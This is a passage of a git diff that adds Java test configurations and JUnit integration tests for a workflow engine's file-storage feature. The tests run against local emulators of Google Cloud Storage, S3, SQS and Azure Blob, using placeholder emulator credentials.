+ * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.config; + +import java.io.ByteArrayInputStream; +import java.io.InputStream; +import java.security.KeyPair; +import java.security.KeyPairGenerator; + +import org.conductoross.conductor.core.storage.FileStorage; +import org.conductoross.conductor.gcs.config.GcsFileStorageProperties; +import org.conductoross.conductor.gcs.storage.GcsFileStorage; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Primary; + +import com.google.api.client.http.HttpTransport; +import com.google.api.client.http.LowLevelHttpRequest; +import com.google.api.client.http.LowLevelHttpResponse; +import com.google.auth.oauth2.ServiceAccountCredentials; +import com.google.cloud.storage.BucketInfo; +import com.google.cloud.storage.Storage; +import com.google.cloud.storage.StorageOptions; + +/** + * Replaces the production file-storage GCS bean with a fake-gcs-server-pointed {@link FileStorage}. + * The spec calls {@link #setEndpoint(String)} in {@code setupSpec} before the Spring context is + * refreshed. GCS {@code signUrl()} requires a {@link ServiceAccountCredentials} with a private key, + * so we generate a throwaway RSA keypair at startup — fake-gcs-server does not verify the + * signature, only its structural presence. + */ +@TestConfiguration +@ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "gcs") +public class FakeGcsFileStorageConfiguration { + + private static String endpoint; + + public static void setEndpoint(String e) { + endpoint = e; + } + + @Bean + @Primary + public FileStorage fakeGcsFileStorage(GcsFileStorageProperties properties) throws Exception { + KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA"); + kpg.initialize(2048); + KeyPair kp = kpg.generateKeyPair(); + ServiceAccountCredentials credentials = + ServiceAccountCredentials.newBuilder() + .setClientEmail("fake@fake.iam.gserviceaccount.com") + .setPrivateKey(kp.getPrivate()) + .setProjectId(properties.getProjectId()) + // Return a canned access token so OAuth requests don't hit real Google. + .setHttpTransportFactory(() -> FAKE_OAUTH_TRANSPORT) + .build(); + StorageOptions.Builder builder = + StorageOptions.newBuilder() + .setProjectId(properties.getProjectId()) + .setCredentials(credentials); + if (endpoint != null) { + builder.setHost(endpoint); + } + Storage storage = builder.build().getService(); + if (storage.get(properties.getBucketName()) == null) { + storage.create(BucketInfo.of(properties.getBucketName())); + } + return new GcsFileStorage(properties, storage); + } + + private static final HttpTransport FAKE_OAUTH_TRANSPORT = + new HttpTransport() { + @Override + protected LowLevelHttpRequest buildRequest(String method, String url) { + return new LowLevelHttpRequest() { + @Override + public void addHeader(String name, String value) {} + + @Override + public LowLevelHttpResponse execute() { + return new LowLevelHttpResponse() { + private final byte[] body = + "{\"access_token\":\"fake\",\"token_type\":\"Bearer\",\"expires_in\":3600}" + .getBytes(); + + @Override + public InputStream getContent() { + return new ByteArrayInputStream(body); + } + + @Override + public String getContentEncoding() { + return null; + } + + @Override + public long getContentLength() { + return body.length; + } + + @Override + public String getContentType() { + return "application/json"; + } + + @Override + public String getStatusLine() { + return "HTTP/1.1 200 OK"; + } + + @Override + public int getStatusCode() { + return 200; + } + + @Override + public String getReasonPhrase() { + return "OK"; + } + + @Override + public int getHeaderCount() { + return 0; + } + + @Override + public String getHeaderName(int index) { + return null; + } + + @Override + public String getHeaderValue(int index) { + return null; + } + }; + } + }; + } + }; +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackS3Configuration.java b/test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackS3Configuration.java new file mode 100644 index 0000000..47bfa65 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackS3Configuration.java @@ -0,0 +1,91 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.config; + +import java.net.URI; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Primary; + +import software.amazon.awssdk.auth.credentials.AwsBasicCredentials; +import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider; +import software.amazon.awssdk.regions.Region; +import software.amazon.awssdk.services.s3.S3Client; +import software.amazon.awssdk.services.s3.presigner.S3Presigner; + +/** + * Test configuration that overrides production S3 beans to point to LocalStack. This configuration + * is only active when external payload storage type is set to S3 and allows tests to run against + * LocalStack instead of real AWS S3. + */ +@TestConfiguration +@ConditionalOnProperty(name = "conductor.external-payload-storage.type", havingValue = "s3") +public class LocalStackS3Configuration { + + private static String localStackEndpoint; + + /** + * Sets the LocalStack endpoint URL for S3 client configuration. This method should be called + * from test setup before Spring context initialization. + */ + public static void setLocalStackEndpoint(String endpoint) { + localStackEndpoint = endpoint; + } + + /** + * Creates an S3Client configured for LocalStack. This bean overrides the production S3Client + * bean during testing. + */ + @Bean + @Primary + public S3Client localStackS3Client() { + var builder = + S3Client.builder() + .region(Region.US_EAST_1) + .credentialsProvider( + StaticCredentialsProvider.create( + AwsBasicCredentials.create("test", "test"))) + .forcePathStyle(true); // Required for LocalStack S3 compatibility + + // Configure LocalStack endpoint if available + if (localStackEndpoint != null) { + builder.endpointOverride(URI.create(localStackEndpoint)); + } + + return builder.build(); + } + + /** + * Creates an S3Presigner configured for LocalStack. This bean overrides the production + * S3Presigner bean during testing. + */ + @Bean + @Primary + public S3Presigner localStackS3Presigner() { + var builder = + S3Presigner.builder() + .region(Region.US_EAST_1) + .credentialsProvider( + StaticCredentialsProvider.create( + AwsBasicCredentials.create("test", "test"))); + + // Configure LocalStack endpoint if available + if (localStackEndpoint != null) { + builder.endpointOverride(URI.create(localStackEndpoint)); + } + + return builder.build(); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackS3FileStorageConfiguration.java b/test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackS3FileStorageConfiguration.java new file mode 100644 index 0000000..e6bc50e --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackS3FileStorageConfiguration.java @@ -0,0 +1,64 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.config; + +import java.net.URI; + +import org.conductoross.conductor.core.storage.FileStorage; +import org.conductoross.conductor.s3.config.S3FileStorageProperties; +import org.conductoross.conductor.s3.storage.S3FileStorage; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Primary; + +import software.amazon.awssdk.auth.credentials.AwsBasicCredentials; +import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider; +import software.amazon.awssdk.regions.Region; +import software.amazon.awssdk.services.s3.S3Client; +import software.amazon.awssdk.services.s3.presigner.S3Presigner; + +/** + * Replaces the production file-storage S3 beans with a LocalStack-pointed {@link FileStorage}. The + * spec calls {@link #setLocalStackEndpoint(String)} in {@code setupSpec} before the Spring context + * is refreshed. + */ +@TestConfiguration +@ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "s3") +public class LocalStackS3FileStorageConfiguration { + + private static String localStackEndpoint; + + public static void setLocalStackEndpoint(String endpoint) { + localStackEndpoint = endpoint; + } + + @Bean + @Primary + public FileStorage localStackS3FileStorage(S3FileStorageProperties properties) { + var creds = StaticCredentialsProvider.create(AwsBasicCredentials.create("test", "test")); + var s3Builder = + S3Client.builder() + .region(Region.US_EAST_1) + .credentialsProvider(creds) + .forcePathStyle(true); + var presignerBuilder = + S3Presigner.builder().region(Region.US_EAST_1).credentialsProvider(creds); + if (localStackEndpoint != null) { + URI endpoint = URI.create(localStackEndpoint); + s3Builder.endpointOverride(endpoint); + presignerBuilder.endpointOverride(endpoint); + } + return new S3FileStorage(properties, s3Builder.build(), presignerBuilder.build()); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackSQSConfiguration.java b/test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackSQSConfiguration.java new file mode 100644 index 0000000..d886e53 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackSQSConfiguration.java @@ -0,0 +1,67 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.config; + +import java.net.URI; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Primary; + +import software.amazon.awssdk.auth.credentials.AwsBasicCredentials; +import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider; +import software.amazon.awssdk.regions.Region; +import software.amazon.awssdk.services.sqs.SqsClient; + +/** + * Test configuration that overrides production SQS beans to point to LocalStack. This configuration + * is only active when SQS event queues are enabled and allows tests to run against LocalStack + * instead of real AWS SQS. + */ +@TestConfiguration +@ConditionalOnProperty(name = "conductor.event-queues.sqs.enabled", havingValue = "true") +public class LocalStackSQSConfiguration { + + private static String localStackEndpoint; + + /** + * Sets the LocalStack endpoint URL for SQS client configuration. This method should be called + * from test setup before Spring context initialization. + */ + public static void setLocalStackEndpoint(String endpoint) { + localStackEndpoint = endpoint; + } + + /** + * Creates an SqsClient configured for LocalStack. This bean overrides the production SqsClient + * bean during testing. + */ + @Bean + @Primary + public SqsClient localStackSqsClient() { + var builder = + SqsClient.builder() + .region(Region.US_EAST_1) + .credentialsProvider( + StaticCredentialsProvider.create( + AwsBasicCredentials.create("test", "test"))); + + // Configure LocalStack endpoint if available + if (localStackEndpoint != null) { + builder.endpointOverride(URI.create(localStackEndpoint)); + } + + return builder.build(); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/AbstractFileStorageIntegrationTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/AbstractFileStorageIntegrationTest.java new file mode 100644 index 0000000..f773d43 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/AbstractFileStorageIntegrationTest.java @@ -0,0 +1,79 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration; + +import org.conductoross.conductor.core.storage.FileStorageService; +import org.conductoross.conductor.model.file.FileUploadRequest; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.DynamicPropertyRegistry; +import org.springframework.test.context.DynamicPropertySource; +import org.springframework.test.context.TestPropertySource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.ConductorTestApp; + +/** + * Base for file-storage integration tests. Starts a Redis testcontainer (matches the wiring of + * {@code AbstractSpecification} in the Spock specs) and exposes the {@link FileStorageService} bean + * for subclasses to exercise. Backend-specific configuration (storage type, presigned URL provider, + * extra containers) is layered on by each subclass. + */ +@SpringBootTest(classes = ConductorTestApp.class) +@TestPropertySource( + locations = "classpath:application-integrationtest.properties", + properties = { + "conductor.db.type=redis_standalone", + "conductor.queue.type=redis_standalone", + "conductor.app.sweeperThreadCount=1", + "conductor.app.sweeper.sweepBatchSize=1", + "conductor.app.sweeper.queuePopTimeout=750" + }) +public abstract class AbstractFileStorageIntegrationTest { + + @SuppressWarnings("resource") + private static final GenericContainer REDIS = + new GenericContainer<>(DockerImageName.parse("redis:6.2-alpine")) + .withExposedPorts(6379); + + static { + REDIS.start(); + } + + @DynamicPropertySource + static void redisProperties(DynamicPropertyRegistry registry) { + registry.add("conductor.db.type", () -> "redis_standalone"); + registry.add("conductor.redis.availability-zone", () -> "us-east-1c"); + registry.add("conductor.redis.data-center-region", () -> "us-east-1"); + registry.add("conductor.redis.workflow-namespace-prefix", () -> "integration-test"); + registry.add("conductor.redis.queue-namespace-prefix", () -> "integtest"); + registry.add( + "conductor.redis.hosts", + () -> "localhost:" + REDIS.getFirstMappedPort() + ":us-east-1c"); + registry.add( + "conductor.redis-lock.serverAddress", + () -> "redis://localhost:" + REDIS.getFirstMappedPort()); + registry.add("conductor.queue.type", () -> "redis_standalone"); + } + + @Autowired protected FileStorageService fileStorageService; + + protected static FileUploadRequest newRequest(String name, String contentType) { + FileUploadRequest req = new FileUploadRequest(); + req.setFileName(name); + req.setContentType(contentType); + req.setWorkflowId("wf-test"); + return req; + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/AzureBlobFileStorageIntegrationTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/AzureBlobFileStorageIntegrationTest.java new file mode 100644 index 0000000..375d034 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/AzureBlobFileStorageIntegrationTest.java @@ -0,0 +1,146 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URI; + +import org.conductoross.conductor.model.file.FileDownloadUrlResponse; +import org.conductoross.conductor.model.file.FileIdToFileHandleIdConverter; +import org.conductoross.conductor.model.file.FileUploadCompleteResponse; +import org.conductoross.conductor.model.file.FileUploadResponse; +import org.conductoross.conductor.model.file.FileUploadStatus; +import org.junit.jupiter.api.Tag; +import org.junit.jupiter.api.Test; +import org.springframework.context.annotation.Import; +import org.springframework.test.context.TestPropertySource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.test.config.AzuriteFileStorageConfiguration; + +import static org.junit.jupiter.api.Assertions.assertArrayEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +@Tag("file-storage-integration") +@TestPropertySource( + properties = { + "conductor.file-storage.enabled=true", + "conductor.file-storage.type=azure-blob", + "conductor.file-storage.azure-blob.container-name=conductor-file-storage-test" + }) +@Import(AzuriteFileStorageConfiguration.class) +class AzureBlobFileStorageIntegrationTest extends AbstractFileStorageIntegrationTest { + + // Well-known Azurite credentials. + private static final String AZURITE_ACCOUNT_NAME = "devstoreaccount1"; + private static final String AZURITE_ACCOUNT_KEY = + "Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw=="; + + @SuppressWarnings("resource") + private static final GenericContainer AZURITE = + new GenericContainer<>( + DockerImageName.parse("mcr.microsoft.com/azure-storage/azurite:latest")) + .withCommand("azurite-blob --blobHost 0.0.0.0 --skipApiVersionCheck") + .withExposedPorts(10000); + + static { + AZURITE.start(); + String blobEndpoint = + "http://%s:%d/%s" + .formatted( + AZURITE.getHost(), + AZURITE.getMappedPort(10000), + AZURITE_ACCOUNT_NAME); + String connectionString = + "DefaultEndpointsProtocol=http;AccountName=%s;AccountKey=%s;BlobEndpoint=%s;" + .formatted(AZURITE_ACCOUNT_NAME, AZURITE_ACCOUNT_KEY, blobEndpoint); + AzuriteFileStorageConfiguration.setConnectionString(connectionString); + } + + @Test + void createFileReturnsUploadingHandle() { + FileUploadResponse response = + fileStorageService.createFile(newRequest("report.pdf", "application/pdf")); + + assertNotNull(response.getFileHandleId()); + assertEquals(FileUploadStatus.UPLOADING, response.getUploadStatus()); + assertNotNull(response.getUploadUrl()); + } + + @Test + void getMetadataForUnknownFileThrowsNotFoundException() { + assertThrows( + NotFoundException.class, () -> fileStorageService.getFileMetadata("nonexistent")); + } + + @Test + void downloadUrlRequiresUploadedStatus() { + FileUploadResponse created = + fileStorageService.createFile( + newRequest("pending.bin", "application/octet-stream")); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + + assertThrows( + IllegalArgumentException.class, + () -> fileStorageService.getDownloadUrl(fileId, "wf-test")); + } + + @Test + void fullLifecyclePutSasConfirmGet() throws Exception { + byte[] payload = "hello Azure".getBytes(); + FileUploadResponse created = + fileStorageService.createFile(newRequest("test.txt", "text/plain")); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + + putToSasUrl(created.getUploadUrl(), payload); + + FileUploadCompleteResponse confirmed = fileStorageService.confirmUpload(fileId); + FileDownloadUrlResponse download = fileStorageService.getDownloadUrl(fileId, "wf-test"); + byte[] fetched = getFromSasUrl(download.getDownloadUrl()); + + assertEquals(FileUploadStatus.UPLOADED, confirmed.getUploadStatus()); + assertArrayEquals(payload, fetched); + } + + private static void putToSasUrl(String url, byte[] body) throws IOException { + HttpURLConnection conn = (HttpURLConnection) URI.create(url).toURL().openConnection(); + conn.setRequestMethod("PUT"); + conn.setDoOutput(true); + // Azure block-blob PUT requires this header. + conn.setRequestProperty("x-ms-blob-type", "BlockBlob"); + try (OutputStream out = conn.getOutputStream()) { + out.write(body); + } + assertTrue(conn.getResponseCode() >= 200 && conn.getResponseCode() < 300); + conn.disconnect(); + } + + private static byte[] getFromSasUrl(String url) throws IOException { + HttpURLConnection conn = (HttpURLConnection) URI.create(url).toURL().openConnection(); + conn.setRequestMethod("GET"); + try (InputStream in = conn.getInputStream()) { + assertTrue(conn.getResponseCode() >= 200 && conn.getResponseCode() < 300); + return in.readAllBytes(); + } finally { + conn.disconnect(); + } + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/FileStorageIntegrationTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/FileStorageIntegrationTest.java new file mode 100644 index 0000000..4be7152 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/FileStorageIntegrationTest.java @@ -0,0 +1,119 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration; + +import java.net.URI; +import java.nio.file.Files; +import java.nio.file.Path; + +import org.conductoross.conductor.model.file.FileDownloadUrlResponse; +import org.conductoross.conductor.model.file.FileHandle; +import org.conductoross.conductor.model.file.FileIdToFileHandleIdConverter; +import org.conductoross.conductor.model.file.FileUploadCompleteResponse; +import org.conductoross.conductor.model.file.FileUploadResponse; +import org.conductoross.conductor.model.file.FileUploadStatus; +import org.conductoross.conductor.model.file.MultipartInitResponse; +import org.junit.jupiter.api.Test; +import org.springframework.test.context.TestPropertySource; + +import com.netflix.conductor.core.exception.NotFoundException; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; + +/** + * Integration tests for the file-storage feature backed by the local FS adapter. Inherits the Redis + * testcontainer + Spring wiring from {@link AbstractFileStorageIntegrationTest} and only sets the + * local-backend specific properties here. + */ +@TestPropertySource( + properties = { + "conductor.file-storage.enabled=true", + "conductor.file-storage.type=local", + "conductor.file-storage.local.directory=build/tmp/file-storage-spec" + }) +class FileStorageIntegrationTest extends AbstractFileStorageIntegrationTest { + + @Test + void createFileReturnsPendingUploadResponseWithHandleId() { + FileUploadResponse response = + fileStorageService.createFile(newRequest("report.pdf", "application/pdf")); + + assertNotNull(response.getFileHandleId()); + assertEquals("report.pdf", response.getFileName()); + assertEquals(FileUploadStatus.UPLOADING, response.getUploadStatus()); + assertNotNull(response.getUploadUrl()); + } + + @Test + void getFileMetadataReturnsCorrectFields() { + FileUploadResponse created = + fileStorageService.createFile(newRequest("doc.pdf", "application/pdf")); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + + FileHandle handle = fileStorageService.getFileMetadata(fileId); + + assertEquals(created.getFileHandleId(), handle.getFileHandleId()); + assertEquals("doc.pdf", handle.getFileName()); + assertEquals("application/pdf", handle.getContentType()); + } + + @Test + void getMetadataForUnknownFileThrowsNotFoundException() { + assertThrows( + NotFoundException.class, () -> fileStorageService.getFileMetadata("nonexistent")); + } + + @Test + void downloadUrlRequiresUploadedStatus() { + FileUploadResponse created = + fileStorageService.createFile( + newRequest("pending.bin", "application/octet-stream")); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + + assertThrows( + IllegalArgumentException.class, + () -> fileStorageService.getDownloadUrl(fileId, "wf-test")); + } + + @Test + void fullLifecycleCreateConfirmDownloadUrl() throws Exception { + FileUploadResponse created = + fileStorageService.createFile(newRequest("test.txt", "text/plain")); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + // Resolve the upload target from the URL the service handed back (format-agnostic). + Path storagePath = Path.of(URI.create(created.getUploadUrl())); + Files.createDirectories(storagePath.getParent()); + Files.writeString(storagePath, "hello"); + + FileUploadCompleteResponse confirmed = fileStorageService.confirmUpload(fileId); + FileDownloadUrlResponse download = fileStorageService.getDownloadUrl(fileId, "wf-test"); + + assertEquals(FileUploadStatus.UPLOADED, confirmed.getUploadStatus()); + assertNotNull(download.getDownloadUrl()); + } + + @Test + void multipartLifecycleInitiatePartUrl() { + FileUploadResponse created = + fileStorageService.createFile(newRequest("large.bin", "application/octet-stream")); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + + MultipartInitResponse init = fileStorageService.initiateMultipartUpload(fileId); + + assertNotNull(init.getUploadId()); + assertNotNull( + fileStorageService.getPartUploadUrl(fileId, init.getUploadId(), 1).getUploadUrl()); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/GcsFileStorageIntegrationTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/GcsFileStorageIntegrationTest.java new file mode 100644 index 0000000..caf3457 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/GcsFileStorageIntegrationTest.java @@ -0,0 +1,133 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration; + +import org.conductoross.conductor.dao.FileMetadataDAO; +import org.conductoross.conductor.model.file.FileDownloadUrlResponse; +import org.conductoross.conductor.model.file.FileIdToFileHandleIdConverter; +import org.conductoross.conductor.model.file.FileUploadCompleteResponse; +import org.conductoross.conductor.model.file.FileUploadResponse; +import org.conductoross.conductor.model.file.FileUploadStatus; +import org.junit.jupiter.api.Tag; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Import; +import org.springframework.test.context.TestPropertySource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.test.config.FakeGcsFileStorageConfiguration; + +import com.google.cloud.NoCredentials; +import com.google.cloud.storage.BlobId; +import com.google.cloud.storage.BlobInfo; +import com.google.cloud.storage.Storage; +import com.google.cloud.storage.StorageOptions; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +@Tag("file-storage-integration") +@TestPropertySource( + properties = { + "conductor.file-storage.enabled=true", + "conductor.file-storage.type=gcs", + "conductor.file-storage.gcs.bucket-name=" + GcsFileStorageIntegrationTest.BUCKET, + "conductor.file-storage.gcs.project-id=fake" + }) +@Import(FakeGcsFileStorageConfiguration.class) +class GcsFileStorageIntegrationTest extends AbstractFileStorageIntegrationTest { + + static final String BUCKET = "conductor-file-storage-test"; + + private static final int FAKE_GCS_PORT = 4443; + + @SuppressWarnings("resource") + private static final GenericContainer FAKE_GCS = + new GenericContainer<>(DockerImageName.parse("fsouza/fake-gcs-server:latest")) + .withExposedPorts(FAKE_GCS_PORT) + .withCommand("-scheme", "http", "-public-host", "localhost:" + FAKE_GCS_PORT) + .waitingFor(Wait.forLogMessage(".*server started at.*", 1)); + + private static final Storage TEST_STORAGE; + + static { + FAKE_GCS.start(); + String endpoint = + "http://" + FAKE_GCS.getHost() + ":" + FAKE_GCS.getMappedPort(FAKE_GCS_PORT); + FakeGcsFileStorageConfiguration.setEndpoint(endpoint); + TEST_STORAGE = + StorageOptions.newBuilder() + .setProjectId("fake") + .setHost(endpoint) + .setCredentials(NoCredentials.getInstance()) + .build() + .getService(); + } + + @Autowired private FileMetadataDAO fileMetadataDAO; + + @Test + void createFileReturnsUploadingHandle() { + FileUploadResponse response = + fileStorageService.createFile(newRequest("report.pdf", "application/pdf")); + + assertNotNull(response.getFileHandleId()); + assertEquals(FileUploadStatus.UPLOADING, response.getUploadStatus()); + assertNotNull(response.getUploadUrl()); + } + + @Test + void getMetadataForUnknownFileThrowsNotFoundException() { + assertThrows( + NotFoundException.class, () -> fileStorageService.getFileMetadata("nonexistent")); + } + + @Test + void downloadUrlRequiresUploadedStatus() { + FileUploadResponse created = + fileStorageService.createFile( + newRequest("pending.bin", "application/octet-stream")); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + + assertThrows( + IllegalArgumentException.class, + () -> fileStorageService.getDownloadUrl(fileId, "wf-test")); + } + + @Test + void fullLifecycleCreateUploadConfirmDownloadUrl() { + byte[] payload = "hello GCS".getBytes(); + FileUploadResponse created = + fileStorageService.createFile(newRequest("test.txt", "text/plain")); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + // Read storagePath from the DAO so the test stays format-agnostic. + String storagePath = fileMetadataDAO.getFileMetadata(fileId).getStoragePath(); + // fake-gcs-server does not handle signed URLs on XML-API paths (signed PUT/GET at + // // returns 404), so we write the blob via the JSON API directly. + // The assertion below still verifies that confirmUpload → getStorageFileInfo correctly + // finds the object in the bucket. + TEST_STORAGE.create(BlobInfo.newBuilder(BlobId.of(BUCKET, storagePath)).build(), payload); + + FileUploadCompleteResponse confirmed = fileStorageService.confirmUpload(fileId); + FileDownloadUrlResponse download = fileStorageService.getDownloadUrl(fileId, "wf-test"); + + assertEquals(FileUploadStatus.UPLOADED, confirmed.getUploadStatus()); + assertNotNull(download.getDownloadUrl()); + assertTrue(download.getDownloadUrl().contains("X-Goog-Signature")); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/S3FileStorageIntegrationTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/S3FileStorageIntegrationTest.java new file mode 100644 index 0000000..8bcb75a --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/S3FileStorageIntegrationTest.java @@ -0,0 +1,157 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

